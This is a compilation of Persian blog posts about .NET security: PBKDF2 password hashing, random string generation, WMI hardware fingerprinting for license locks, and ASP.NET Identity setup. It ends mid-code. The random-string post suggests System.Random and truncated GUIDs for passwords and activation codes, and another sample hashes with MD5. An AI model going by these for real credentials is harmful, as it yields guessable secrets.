PBKDF2 یا password-based key derivation function جزئی از استاندارد RSA نیز هست (PKCS #5 version 2.0). در این الگوریتم، تعداد بار تکرار، یک Salt و یک کلمه‌ی عبور تصادفی جهت بالا بردن انتروپی (بی‌نظمی) کلمه‌ی عبور اصلی، به آن اضافه می‌شوند. از تعداد بار تکرار برای تکرار الگوریتم هش کردن اطلاعات، به تعداد باری که مشخص شده‌است، استفاده می‌گردد. همین تکرار است که سبب کندشدن محاسبه‌ی هش می‌گردد. عدد معمولی که برای این حالت توصیه شده‌است، 50 هزار است.

این استاندارد در دات نت توسط کلاس Rfc2898DeriveBytes پیاده سازی شده‌است که در ذیل مثالی را در مورد نحوه‌ی استفاده‌ی عمومی از آن، مشاهده می‌کنید:

```
using System;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Text;

namespace IdentityHash
{
    public static class PBKDF2
    {
        public static byte[] GenerateSalt()
        {
            using (var randomNumberGenerator = new RNGCryptoServiceProvider())
            {
                var randomNumber = new byte[32];
                randomNumberGenerator.GetBytes(randomNumber);
                return randomNumber;
            }
        }

        public static byte[] HashPassword(byte[] toBeHashed, byte[] salt, int numberOfRounds)
        {
            using (var rfc2898 = new Rfc2898DeriveBytes(toBeHashed, salt, numberOfRounds))
            {
                return rfc2898.GetBytes(32);

            }
        }
    }
```

```
    class Program
    {
        static void Main(string[] args)
        {
            var passwordToHash = "VeryComplexPassword";
            hashPassword(passwordToHash, 50000);
            Console.ReadLine();
        }

        private static void hashPassword(string passwordToHash, int numberOfRounds)
        {
            var sw = new Stopwatch();
            sw.Start();
            var hashedPassword = PBKDF2.HashPassword(
                                        Encoding.UTF8.GetBytes(passwordToHash),
                                        PBKDF2.GenerateSalt(),
                                        numberOfRounds);
            sw.Stop();
            Console.WriteLine();
            Console.WriteLine("Password to hash : {0}", passwordToHash);
            Console.WriteLine("Hashed Password : {0}", Convert.ToBase64String(hashedPassword));
            Console.WriteLine("Iterations <{0}> Elapsed Time : {1}ms", numberOfRounds,
sw.ElapsedMilliseconds);
        }
    }
}
```

شیء Rfc2898DeriveBytes برای تشکیل، نیاز به کلمه‌ی عبوری که قرار است هش شود به صورت آرایه‌ای از بایت‌ها، یک Salt و یک عدد اتفاقی دارد. این Salt توسط شیء RNGCryptoServiceProvider ایجاد شده‌است و همچنین نیازی نیست تا به صورت مخفی نگه‌داری شود. آن‌را می‌توان در فیلدی مجزا، در کنار کلمه‌ی عبور اصلی ذخیره سازی کرد. نتیجه‌ی نهایی، توسط متد rfc2898.GetBytes دریافت می‌گردد. پارامتر 32 آن به معنای 256 بیت بودن اندازه‌ی هش تولیدی است. 32 حداقل مقداری است که بهتر است انتخاب شود.

پیش فرض‌های پیاده سازی Rfc2898DeriveBytes استفاده از الگوریتم SHA1 با 1000 بار تکرار است؛ چیزی که دقیقا در ASP.NET Identity 2.x بکار رفته‌است.

تفاوت‌های الگوریتم‌های هش کردن اطلاعات در نگارش‌های مختلف ASP.NET Identity

اگر به سورس نگارش سوم ASP.NET Identity مراجعه کنیم، یک چنین کامنتی در ابتدای آن قابل مشاهده است:

```
/* ========================
* HASHED PASSWORD FORMATS
* ========================
*
* Version 2:
* PBKDF2 with HMAC-SHA1, 128-bit salt, 256-bit subkey, 1000 iterations.
* (See also: SDL crypto guidelines v5.1, Part III)
* Format: { 0x00, salt, subkey }
*
* Version 3:
* PBKDF2 with HMAC-SHA256, 128-bit salt, 256-bit subkey, 10000 iterations.
* Format: { 0x01, prf (UInt32), iter count (UInt32), salt length (UInt32), salt, subkey }
* (All UInt32s are stored big-endian.)
*/
```

در نگارش دوم آن از الگوریتم PBKDF2 با هزار بار تکرار و در نگارش سوم با 10 هزار بار تکرار، استفاده شده‌است. در این بین، الگوریتم پیش فرض HMAC-SHA1 نگارش‌های 2 نیز به HMAC-SHA256 در نگارش 3، تغییر کرده‌است.

در یک چنین حالتی بانک اطلاعاتی ASP.NET Identity 2.x شما با نگارش بعدی سازگار نخواهد بود و تمام کلمات عبور آن باید مجددا ریست شده و مطابق فرمت جدید هش شوند. بنابراین امکان انتخاب الگوریتم هش کردن را نیز پیش بینی کرده‌اند .

در نگارش دوم ASP.NET Identity، متد هش کردن یک کلمه‌ی عبور، چنین شکلی را دارد:

```
public static string HashPassword(string password, int numberOfRounds = 1000)
{
```

```
    if (password == null)
        throw new ArgumentNullException("password");

    byte[] saltBytes;
    byte[] hashedPasswordBytes;
    using (var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 16, numberOfRounds))
    {
        saltBytes = rfc2898DeriveBytes.Salt;
        hashedPasswordBytes = rfc2898DeriveBytes.GetBytes(32);
    }
    var outArray = new byte[49];
    Buffer.BlockCopy(saltBytes, 0, outArray, 1, 16);
    Buffer.BlockCopy(hashedPasswordBytes, 0, outArray, 17, 32);
    return Convert.ToBase64String(outArray);
}
```

تفاوت این روش با مثال ابتدای بحث، مشخص کردن طول salt در متد Rfc2898DeriveBytes است؛ بجای محاسبه‌ی اولیه‌ی آن. در این حالت متد Rfc2898DeriveBytes مقدار salt را به صورت خودکار محاسبه می‌کند. این salt بجای ذخیره شدن در یک فیلد جداگانه، به ابتدای مقدار هش شده اضافه گردیده و به صورت یک رشته‌ی base64 ذخیره می‌شود. در نگارش سوم ، از کلاس ویژه‌ی RandomNumberGenerator برای محاسبه‌ی Salt استفاده شده‌است.

نظرات خوانندگان

نویسنده: امیر صیدی لو
تاریخ: ۱۳۹۴/۰۴/۱۵ ۶:۳۴

ممنون از مطلب خوبتون
ولی یه مشکلی که من موقع تست برخوردم این بود که زمان تبدیل آرایه تولید شده به وسیله تابع HashPassword به معادل رشته ای اون برای ذخیره در دیتابیس و بازیابی اون رشته به معادل آرایه اون برای چک کردن صحت کلمه عبور هر دو مقدار قبل از تبدیل و بعد از تبدیل با هم برابر بودن و مشکلی نداشتن ولی هنگام همین عمل تبدیل برای مقدار salt و بازیابیش از دیتا بیس مقدار قبل تبدیل و بعدش یکسان نبودن به همین خاطر مجبور شدم مقدار salt رو به صورت آرایه توی دیتابیس ذخیره کنم، خروجی حاصل از salt هم چک کردم نمی‌دونم چرا آرایه حاصل بیشتر از 32 خانه بود؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۴/۱۵ ۱۰:۴

در ASP.NET Identity جمع هش و salt با فرمت base64 در بانک اطلاعاتی به صورت رشته‌ای با طول max ذخیره می‌شوند (هر دو با هم در یک فیلد). همچنین در اینجا طول salt به صورت صریح به 16 بایت تنظیم شده‌است (متد آخر مطلب).

نویسنده: امیر صیدی لو
تاریخ: ۱۳۹۴/۰۴/۱۵ ۱۰:۳۵

تو این حالت (یکی کردن salt و hashPassword) چطوری می‌تونیم مقدار salt رو از دیتا بیس بخونیم و با کلمه عبور ورودی کاربر جمع بزنیم و با مقدار hashPassword اولیه مقایسه کنیم؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۴/۱۵ ۱۱:۹

از متدهای HashPassword و VerifyHashedPassword سورس ASP.NET Identity ایده بگیرید. مورد اول برای ذخیره سازی اطلاعات در بانک اطلاعاتی است. مورد دوم در حین لاگین، جهت تعیین اعتبار کلمه‌ی عبور کاربر استفاده می‌شود.

عنوان: **انواع روش‌های خلاقانه تولید رشته‌های تصادفی**
نویسنده: ابوالفضل رجب پور
تاریخ: ۱۳۹۴/۰۳/۱۰ ۱۳:۳۵
آدرس: www.dotnettips.info
گروه‌ها: C#, Security

حتما برای شما هم پیش آمده‌است که در پروژه‌ای نیاز داشتید تا رشته‌ای تصادفی را تولید کنید. کد تصادفی میتواند کاربردهایی چون تولید رمز، تولید شناسه، تولید url ، تولید کد فعال سازی و مواردی از این قبیل را داشته باشد.
احتمالا برای ساخت کد یا رشته تصادفی، اولین چیزی که به ذهن شما می‌رسد، استفاده از کلاس random می‌باشد. اما روش‌های خلاقانه و جالب زیادی وجود دارند که برای این کار استفاده می‌شوند. در اینجا می‌خواهیم تعدادی از آنها را با هم بررسی کنیم.

روش‌های تولید اعداد یا رشته تصادفی:

1- معمول‌ترین روش تولید یک کد شش رقمی با استفاده از کلاس random

```
[TestMethod]
public void TestRandomClass()
{
    var code = new Random().Next(100000, 999999);
    Assert.IsTrue(code.ToString().Length == 6);
}
```

2- تولید با استفاده کلاس Random و Enumerable

```
[TestMethod]
public void TestRandomWithEnumerable()
{
    var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    var random = new Random();
    var result = new string(
        Enumerable.Repeat(chars, 6)
        .Select(s => s[random.Next(s.Length)])
        .ToArray());
    Assert.IsTrue(result.Length == 6);
}
```

البته بدیهی هست که در قسمت chars می‌توانید هر نوع کاراکتری را قرار دهید و کد نهایی بر آن مبنا تولید می‌شود. مثلا می‌توانید فقط اعداد را مشخص کنید و در این حالت رشته‌ی خروجی فقط شامل رقم خواهد بود. اگر خواستید رشته‌ی طولانی‌تری را تولید کنید، کافی ست طول مورد نیاز را با عدد 6 در کد بالا جایگزین کنید.
مثلا برای تولید رمز عبور از لیست زیر می‌تونید استفاده کنید:

```
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuwxyz~!@#$%^&*";
```

3- تولید کد با استفاده از guid

```
Guid.NewGuid().ToString().Replace("-", string.Empty).Substring(0, 6);
```

یا

```
Guid.NewGuid().ToString("n").Substring(0, 6);
```

کد ("n")ToString کاراکترهای غیرعددی را از رشته‌ی مورد نظر حذف میکند.

4 - تولید با استفاده از کلاس RNGCryptoServiceProvider

بعضی‌ها روش‌های ویژه را می‌پسندند. البته استفاده از این کلاس مزایا و معایب خودش را دارد. از نظر سرعت نسبت به کلاس random پایین‌تر هست، چون محاسبات بیشتری دارد.

```
public static string GetUniqueKey(int maxSize)
        {
            char[] chars = new char[62];
            chars =
            "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".ToCharArray();
            byte[] data = new byte[1];
            using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
            {
                crypto.GetNonZeroBytes(data);
                data = new byte[maxSize];
                crypto.GetNonZeroBytes(data);
            }
            StringBuilder result = new StringBuilder(maxSize);
            foreach (byte b in data)
            {
                result.Append(chars[b % (chars.Length)]);
            }
            return result.ToString();
        }
    }
```

5 - استفاده از متد Path.GetRandomFileName

کاربرد اصلی این متد در واقع تولید نام فایلی تصادفی است؛ ولی از آن برای تولید رشته هم استفاده میکنند. متد Path.GetRandomFileName در پشت صحنه از همان کلاس RNGCryptoServiceProvider برای تولید نام فایل استفاده میکند.

```
public string Get8CharacterRandomString()
{
    string path = Path.GetRandomFileName();
    path = path.Replace(".", ""); // Remove period.
    return path.Substring(0, 6);  // Return 6 character string
}
```

6- تولید کد با استفاده از کلاس random و linq

```
var chars = "abcdefghijklmnopqrstuvwxyz123456789".ToArray();
string pw = Enumerable.Range(0, passwordLength)
                      .Aggregate(
                          new StringBuilder(),
                          (sb, n) => sb.Append((chars[random.Next(chars.Length)])),
                          sb => sb.ToString());
```

نتیجه

مطمئنا روش‌های زیادی برای تولید رشته تصادفی وجود دارند و البته همه شباهت‌هایی نیز دارند و در لایه‌های پایین‌تر، دارای اصولی مشترک هستند.موارد بالا فقط روش‌های متفاوت تولید کد نهایی را نشان می‌دهند که شما بسته به نیاز خود میتوانید از آنها استفاده کنید.

شما چه روش‌هایی را برای این کار می‌شناسید؟

نظرات خوانندگان

نویسنده: احمد رجبی
تاریخ: ۱۳۹۴/۰۳/۱۱ ۱۴:۵

یک نکته:

```
There are several common mistakes I’ve seen developers make.The first is to assume that Random is
thread-safe and is ok to be used concurrently from multiple threads
```

```
...
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۴/۲۴ ۱۶:۲۳

یک نکته‌ی تکمیلی

کتابخانه‌ی رمزنگاری اطلاعات Inferno به همراه یک تولید کننده‌ی اعداد تصادفی thread safe است.

عنوان: **نحوه‌ی استخراج شماره سریال سخت افزار برای تولید یک قفل سخت افزاری**
نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۳/۲۷ ۱۰:۴۰
آدرس: www.dotnettips.info
گروه‌ها: C#, Security, WMI

شما در حال نوشتن یک نرم افزار هستید و برای این نرم افزار ممکن است ماه‌ها وقت صرف کرده باشید؛ پس باید به دنبال راهی باشید که بتوانید از آن محافظت کنید. راه‌های متعددی برای Trial کردن نرم افزار وجود دارند که یکی از این راه‌ها استفاده از سریال سخت افزارهای کامپیوتر کاربر است. همانطور که می‌دانید هر سخت افزار یک شماره‌ی سریال مخصوص خودش را دارد و بدین طریق میتوان یک شماره سریال منحصر به فرد را تولید کرد. ما در این مقاله برای بدست آوردن کلیه‌ی مشخصات سخت افزار یک کامپیوتر از کلاس ManagementObjectSearcher در فضای نام System.Management استفاده کرده‌ایم.

```
using System.Management;
using System.Windows.Forms;
namespace HardwareSerialNumber
{
    class Program
    {
        static void Main()
        {
            string serialNumber = string.Empty;
            ManagementObjectSearcher searcher = new ManagementObjectSearcher("root\\CIMV2", "SELECT *
FROM Win32_Processor");
            foreach (var o in searcher.Get())
            {
                var query = (ManagementObject)o;

                serialNumber = serialNumber + query["ProcessorId"];
            }
            MessageBox.Show(string.Format("Processor Serial Number :{0}", serialNumber),"Serial
Number",MessageBoxButtons.OK,MessageBoxIcon.Exclamation);

        }
    }
}
```

خوب. حالا به بررسی کدهای بالا می‌پردازیم. در خط 10 یک شیء از کلاس MangementObjectSearcher ایجاد کرده‌ایم . سازنده‌ی این کلاس 2 پارامتر را می‌پذیرد. اولین پارامتر یک رشته می‌باشد root\\CIMV2 . CIMV2 فضای نام پیش فرض مخصوص کوئری‌های WMI می‌باشد و پارامتر دوم کوئری WMI است. عبارت Win32_Processor اشاره به کلاس Win32_processor دارد. این کلاس بیانگر یک کلاس مدیریتی از نوع CIM (مراجعه کنید به اینجا و اینجا) است. در خط 11 با استفاده از متد Get، تمامی اطلاعات مربوط به Processor را بارگذاری می‌کنیم و سپس فیلد ProcessorId را در یک رشته قرار می‌دهیم. نکته‌ی دیگر اینکه ارجاعی را به فایل System.Managment.Dll به پروژه‌ی خود اضافه کنید.

نتیجه‌ی کد بالا :

در این آدرس یک کتابخانه که شامل تمامی مثالها می‌باشد قابل در یافت است.

نظرات خوانندگان

نویسنده: فرهاد شربیانی
تاریخ: ۱۳۹۴/۰۳/۲۷ ۱۲:۴۸

می توان از این کلاس هم که در واقع بسط داده شده‌ی روش مذکور است استفاده نمود:

```
public class FingerPrint
    {
        private static string fingerPrint = string.Empty;
        public static string Value()
        {
            if (string.IsNullOrEmpty(fingerPrint))
            {
                fingerPrint = GetHash("CPU >> " + cpuId() + "\nBIOS >> " +
            biosId() + "\nBASE >> " + baseId()
                    +"\nDISK >> "+ diskId() + "\nVIDEO >> " +
                    videoId() +"\nMAC >> "+ macId());
            }
            return fingerPrint;
        }
        private static string GetHash(string s)
        {
            MD5 sec = new MD5CryptoServiceProvider();
            ASCIIEncoding enc = new ASCIIEncoding();
            byte[] bt = enc.GetBytes(s);
            return GetHexString(sec.ComputeHash(bt));
        }
        private static string GetHexString(byte[] bt)
        {
            string s = string.Empty;
            for (int i = 0; i < bt.Length; i++)
            {
                byte b = bt[i];
                int n, n1, n2;
                n = (int)b;
                n1 = n & 15;
                n2 = (n >> 4) & 15;
                if (n2 > 9)
                    s += ((char)(n2 - 10 + (int)'A')).ToString();
                else
                    s += n2.ToString();
                if (n1 > 9)
                    s += ((char)(n1 - 10 + (int)'A')).ToString();
                else
                    s += n1.ToString();
                if ((i + 1) != bt.Length && (i + 1) % 2 == 0) s += "-";
            }
            return s;
        }


        #region Original Device ID Getting Code
        //Return a hardware identifier
        private static string identifier
        (string wmiClass, string wmiProperty, string wmiMustBeTrue)
        {
            string result = "";
            System.Management.ManagementClass mc =
        new System.Management.ManagementClass(wmiClass);
            System.Management.ManagementObjectCollection moc = mc.GetInstances();
            foreach (System.Management.ManagementObject mo in moc)
            {
                if (mo[wmiMustBeTrue].ToString() == "True")
                {
                    //Only get the first one
                    if (result == "")
                    {
                        try
                        {
                            result = mo[wmiProperty].ToString();
                            break;
                        }
                        catch
                        {
                        }
                    }
```

```
            }
        }
        return result;
    }
    //Return a hardware identifier
    private static string identifier(string wmiClass, string wmiProperty)
    {
        string result = "";
        System.Management.ManagementClass mc =
    new System.Management.ManagementClass(wmiClass);
        System.Management.ManagementObjectCollection moc = mc.GetInstances();
        foreach (System.Management.ManagementObject mo in moc)
        {
            //Only get the first one
            if (result == "")
            {
                try
                {
                    result = mo[wmiProperty].ToString();
                    break;
                }
                catch
                {
                }
            }
        }
        return result;
    }
    private static string cpuId()
    {
        //Uses first CPU identifier available in order of preference
        //Don't get all identifiers, as it is very time consuming
        string retVal = identifier("Win32_Processor", "UniqueId");
        if (retVal == "") //If no UniqueID, use ProcessorID
        {
            retVal = identifier("Win32_Processor", "ProcessorId");
            if (retVal == "") //If no ProcessorId, use Name
            {
                retVal = identifier("Win32_Processor", "Name");
                if (retVal == "") //If no Name, use Manufacturer
                {
                    retVal = identifier("Win32_Processor", "Manufacturer");
                }
                //Add clock speed for extra security
                retVal += identifier("Win32_Processor", "MaxClockSpeed");
            }
        }
        return retVal;
    }
    //BIOS Identifier
    private static string biosId()
    {
        return identifier("Win32_BIOS", "Manufacturer")
            + identifier("Win32_BIOS", "SMBIOSBIOSVersion")
        + identifier("Win32_BIOS", "IdentificationCode")
            + identifier("Win32_BIOS", "SerialNumber")
            + identifier("Win32_BIOS", "ReleaseDate")
            + identifier("Win32_BIOS", "Version");
    }
    //Main physical hard drive ID
    private static string diskId()
    {
        return identifier("Win32_DiskDrive", "Model")
        + identifier("Win32_DiskDrive", "Manufacturer")
        + identifier("Win32_DiskDrive", "Signature")
        + identifier("Win32_DiskDrive", "TotalHeads");
    }
    //Motherboard ID
    private static string baseId()
    {
        return identifier("Win32_BaseBoard", "Model")
        + identifier("Win32_BaseBoard", "Manufacturer")
        + identifier("Win32_BaseBoard", "Name")
        + identifier("Win32_BaseBoard", "SerialNumber");
    }
    //Primary video controller ID
    private static string videoId()
    {
        return identifier("Win32_VideoController", "DriverVersion")
        + identifier("Win32_VideoController", "Name");
    }
```

```
        //First enabled network card ID
        private static string macId()
        {
            return identifier("Win32_NetworkAdapterConfiguration",
                "MACAddress", "IPEnabled");
        }
        #endregion
    }
```

خروجی این کلاس Hexa1 است و به شکل زیر قابل استفاده می‌باشد:

```
/// Generates a 16 byte Unique Identification code of a computer
/// Example: 4876-8DB5-EE85-69D3-FE52-8CF7-395D-2EA9

var computerId = FingerPrint.Value();
```

نویسنده: علی پناهی
تاریخ: ۱۳۹۴/۰۳/۲۷ ۱۶:۵۸

در لینک زیر هم می‌توانید لیست کاملی از تمام سخت افزارها را مشاهده نمایید لینک

نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۴/۰۱ ۱۸:۱۰

تمامی کلاسها و متدهای عنوان شده در این مثال، در کتابخانه ذکر شده در آخر بحث موجود می‌باشد.

عنوان: **Claim Based Identity**
نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۴/۰۶ ۱۴:۲۵
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, ASP.NET Identity

بنده در حال توسعه‌ی یک CMS هستم و این کار را برای یادگیری MVC انجام میدم. الان هم تقریبا رسیدم به اواخر کار و انشالله اگه کار تمام شد، نرم افزار را به صورت سورس باز منتشر می‌کنم. الان رسیدم به قسمت مدیریت کاربران. همانطور که می‌دانید ASP.NET در نسخه‌های جدید خودش بر خلاف نسخه‌های قدیمی که از SQL Membership استفاده می‌کرد الان از سیستم Identity بهره می‌برد، که انشالله در نوشتارهای بعدی به موضوع Identity به تفصیل خواهیم پرداخت. در حقیقت سیستم Identity یک نوع Claim Based Identity هست. اما حالا ببینیم که این Claim چی هست؟ اما قبل از آن یک سری اصطلاحات را که به درک بهتر مفهوم کمک می‌کند، باید تعریف کنیم:

Relying Party (RP) = Application

Service Providers (SP) = Application

RP یا SP یک Application می‌باشد که از Claim استفاده می‌کند. واژه‌ی Relying Party بدین دلیل انتخاب شده که Application روی یک Issuer به منظور تامین اطلاعات در مورد یک Identity تکیه می‌کند.

Subject = User

Principal = User

واژه‌ی Subject یا Principal در حقیقت یک User می‌باشد. این واژه زمانی معنا پیدا می‌کند که شما به User به عنوان یک Subject برای کنترل دسترسی، شخصی سازی (Personalization) و ... بنگرید. در Net Framework. به جای Subject از Principal استفاده می‌شود.

Security Token Service (STC) = Issuer

از دید فنی، STC یک رابط درون یک Issuer می‌باشد که درخواست‌ها (Request) را تأیید و اقدام به ساخت Issues Security Token (توکن‌های مسائل امنیتی) می‌نماید. توکن‌های مسائل امنیتی شامل یک سری Claim می‌باشند.

Identity Provider (IDP) = Issuer

تامین کننده Identity یک Issuer یا Token Issuer می‌باشد که وظیفه‌ی تعیین اعتبار (Validation) کاربر مانند نام کاربری، رمز عبور و ... را بر عهده دارد.

Active Client = Smart or rich Client

Passive Client = Browser

یک Active Client می‌تواند از یک کتابخانه‌ی پیچیده مانند WCF به منظور پیاده سازی پروتکل‌هایی که بتوانند یک Security Token را درخواست و پاس دهند، استفاده نمایند. به منظور پشتیبانی از مرورگرهای مختلف، سناریوهای passive از پروتکل‌های ساده‌تری به منظور درخواست و پاس دادن یک Security Token که بر روی پروتکل Http تکیه دارد استفاده می‌کند (Http Post - Http Get).

و اما Claim چیست؟

در حقیقت Claim عبارتست از یک بیانیه یا شرح که یک Subject در مورد خودش یا Subject دیگری می‌سازد. این بیانیه می‌تواند در مورد یک نام، هویت، کلید، گروه، حق دسترسی و یا یک قابلیت باشد. Claimها بوسیله یک Provider صادر و سپس بسته بندی (Package) شده و بوسیله‌ی یک Issuer صادر می‌شوند که این Issuer عموما با نام Security Token Service شناخته می‌شود.

به منظور آشنایی با این مبحث میتوانید به اینجا و اینجا مراجعه نمایید.

این نوشتار مقدمه‌ای بود بر مباحث ASP.NET Identity. بنده در حال ترجمه‌ی سه فصل آخر کتاب Pro ASP.NET Mvc 5 Platform که اختصاص به مبحث Identity دارد هستم. فصل 13 تقریبا تمام شده و انشالله بزودی آن‌را منتشر میکنم.

عنوان: **Asp.Net Identity #1**
نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۴/۰۷ ۱۳:۴۵
آدرس: www.dotnettips.info
گروه‌ها: Security, ASP.NET Identity

Identity ، API جدید مایکروسافت جهت مدیریت کاربران در برنامه‌های ASP.NET می‌باشد. نقطه‌ی اتکای مایکروسافت در سالهای اخیر برای مدیریت کاربران سیستم ASP.NET Membership بود که از ضعف‌های طراحی رنج می‌برد. مهمترین محدودیت این سیستم این بود که داده‌های ذخیره شده توسط Schema، فقط قابلیت کار با SQL Server را دارا بود که توسعه‌ی آن بدون پیاده سازی دوباره‌ی کلاسهای تامین کننده (Provider Classes) بسیار مشکل بود. بعد از آن مایکروسافت جهت کاهش پیچیدگی سیستم ASEP.NET Membership، دو سیستم دیگر به نامهای Simple Membership و ASP.NET Universal Providers را عرضه نمود. این سیستم‌ها تا حدودی پیچیدگی را کم کردند، اما همچنان برمبنای SQL Server بودند. تا اینکه مایکروسافت سیستم ASP.NET Membership را با سیستم Identity جهت حل دو مشکل مطرح شده تعویض نمود. سیستم Identity هم پایدار است و هم قابل توسعه. به علاوه با استفاده از قابلیت Open Source بودن، قابل وفق دادن می‌باشد (یعنی برحسب نیاز پروژه می‌توان کل یا قسمتهایی را پیاده سازی نمود). برای بسیاری از توسعه دهندگان برنامه‌های ASP.NET، سیستم Identity اولین پرده برداری از OWIN خواهد بود. در حقیقت OWIN یک لایه‌ی Abstract می‌باشد که برنامه‌ی وب را از محیطی که آن‌را میزبانی کرده، ایزوله می‌کند. هدف از ایزوله کردن، ایجاد انعطاف پذیری بیشتر در محیط هایی که برنامه‌های ASP.Net را میزبانی می‌کنند و همچنین ایجاد یک زیرساخت سبک وزن جهت سرویس دهی می‌باشد. همان طور که عنوان شد OWIN یک استاندارد باز است و مایکروسافت پروژه KATANA را به منظور پیاده سازی استانداردی از OWIN طراحی کرد. این طراحی همراه با یک سری کامپوننت به منظور تامین ویژگی‌هایی (Functionalities) که یک برنامه وب به آنها نیاز دارد همراه بود. زیبایی کار مایکروسافت در این بود که OWIN/KATANA پشته‌ی تکنولوژی ASP.NET را از بقیه‌ی قسمتهای .NET Framework ایزوله کرده که اجازه نرخ بالاتری از تغییرات را می‌دهد. توسعه دهندگان OWIN به جای استفاده از کل پلتفرم (بر عکس چیزی که در حال حاضر در سرویسهای ASP.NET رخ می‌دهد) فقط سرویس‌هایی را که برنامه آنها نیاز دارد، انتخاب می‌کنند. این سرویسهای منفرد که در واژه نامه‌ی OWIN با نام Middleware شناخته می‌شوند، می‌توانند در نرخ‌های مختلفی توسعه داده شوند و توسعه دهندگان را قادر می‌سازند که بین تأمین کنندگان سرویسهای مختلف یکی را انتخاب کنند و فقط وابسته به سرویس‌های پیاده سازی شده توسط مایکروسافت نباشند. و در پایان باید گفت که پلتفرم ASP.NET و IIS کنار گذاشته نخواهند شد. مایکروسافت شفاف سازی کرده‌است که یکی از ابعاد زیبای OWIN این است که به توسعه دهندگان اجازه انعطاف پذیری بیشتر را می‌دهد که در آن کامپوننت‌های Middleware بوسیله IIS میزبانی می‌شوند و هم اکنون پروژه‌ی KATANA توسط فضاهای نام System.Web پشتیبانی می‌شود. خوب دوستان این مقدمه ای بود بر سیستم Identity . انشالله در نوشته‌های بعدی بیشتر سیستم Identity را تحلیل و بررسی خواهیم کرد.

نظرات خوانندگان

نویسنده: افشار محبی
تاریخ: ۱۳۹۴/۰۴/۱۰ ۱۱:۴۴

مایکروسافت با سرعت زیادی در حال ایجاد تغییرات در سکوی توسعه وب خود است تا بتواند فاصله‌اش را از رقبای دیگر کم کند. توسعه دهنده‌ها هم باید با همین سرعت تغییرات اخیر مایکروسافت را دنبال کنند و الا بد جور از قافله عقب خواهند افتاد.

نویسنده: محمد رعیت پیشه
تاریخ: ۱۳۹۴/۰۴/۱۳ ۲۰:۱۱

همچنین به نظرم فرصت بسیار خوبی است برای کسانی که فکر می‌کنند عقب افتاده اند تا خود را با قافله جدید همراه کنند.

عنوان: Asp.Net Identity #2
نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۴/۱۰ ۲۰:۱۵
آدرس: www.dotnettips.info
گروه‌ها: Security, ASP.NET Identity

پیشتر در اینجا در مورد تاریخچه‌ی سیستم Identity مطالبی را عنوان کردیم. در این مقاله می‌خواهیم نحوه‌ی برپایی سیستم Identity را بحث کنیم.

ASP.NET Identity مانند ASP.NET Membership به اسکیمای SQL Server وابسته نیست؛ اما Relational Storage همچنان واحد ذخیره سازی پیش فرض و آسانی می‌باشد. بدین جهت که تقریبا بین همه‌ی توسعه دهندگان جا افتاده است. ما در این نوشتار از LocalDB جهت ذخیره سازی جداول استفاده می‌کنیم. ذکر این نکته ضروری است که سیستم Identity از Entity Framework Code First جهت ساخت اسکیما استفاده می‌کند.

پیش از هر چیز، ابتدا یک پروژه‌ی وب را ایجاد کنید؛ مانند شکل زیر:

در مرحله‌ی بعد سه پکیج زیر را باید نصب کنیم :

- Microsoft.AspNet.Identity.EntityFramework

- Microsoft.AspNet.Identity.OWIN

- Microsoft.Owin.Host.SystemWeb

بعد از اینکه پکیج‌های بالا را نصب کردیم، باید فایل Web.config را بروز کنیم. اولین مورد، تعریف یک Connection String می‌باشد:

```
<connectionStrings>
 <add name="IdentityDb"
      providerName="System.Data.SqlClient"
      connectionString="Data Source=(localdb)\v11.0;Initial Catalog=IdentityDb;Integrated
Security=True;Connect
Timeout=15;Encrypt=False;TrustServerCertificate=False;MultipleActiveResultSets=True"/>
 </connectionStrings>
```

بعد از آن، تعریف یک کلید در قسمت AppSettings تحت عنوان Owin:AppStartup است:

```
<appSettings>
 <add key="webpages:Version" value="3.0.0.0" />
 <add key="webpages:Enabled" value="false" />
 <add key="ClientValidationEnabled" value="true" />
 <add key="UnobtrusiveJavaScriptEnabled" value="true" />
```

</ "add key="owin:AppStartup" value="Users.IdentityConfig>

```
</appSettings>
```

Owin مدل شروع برنامه (Application Startup Model) خودش را تعریف می‌کند که از کلاس کلی برنامه (منظور Global.asax) جداست. AppSetting تعریف شده با نام owin:Startup شناخته می‌شود و مشخص کننده کلاسی است که Owin وهله سازی خواهد کرد. وقتی برنامه شروع به کار می‌کند، تنظیمات خودش را از این کلاس دریافت خواهد کرد (در این نوشتار کلاس IdentityConfig می‌باشد).

ساخت کلاس User

مرحله‌ی بعد ساخت کلاس User می‌باشد. این کلاس بیانگر یک کاربر می‌باشد. کلاس User باید از کلاس IdentityUser ارث بری کند که این کلاس در فضای نام Microsoft.AspNet.Identity.EntityFramework قرار دارد. کلاس IdentityUser فراهم کننده‌ی یک کاربر عمومی و ابتدایی است. اگر بخواهیم اطلاعات اضافی مربوط به کاربر را ذخیره کنیم باید آنها در کلاسی که از کلاس IdentityUser ارث بری می‌کند قرار دهیم. کلاس ما در اینجا AppUser نام دارد.

```
using System;
using Microsoft.AspNet.Identity.EntityFramework;
namespace Users.Models
{
   public class AppUser : IdentityUser
  {
      // پروپرتی‌های اضافی در اینجا
  }
}
```

ساخت کلاس Database Context برنامه

مرحله‌ی بعد ساخت کلاس DbContext برنامه می‌باشد که بر روی کلاس AppUser عمل میکند. کلاس Context برنامه که ما در اینجا آن را AppIdentityDbContext تعریف کرده‌ایم، از کلاس IdentityDbContext<T> ارث بری می‌کند که T همان کلاس User می‌باشد (در مثال ما AppUser) .

```
using System.Data.Entity;
using Microsoft.AspNet.Identity.EntityFramework;
using Users.Models;
```

```
namespace Users.Infrastructure {
 public class AppIdentityDbContext : IdentityDbContext<AppUser>
{
   public AppIdentityDbContext()
              : base("IdentityDb") { }

  static AppIdentityDbContext()
 {
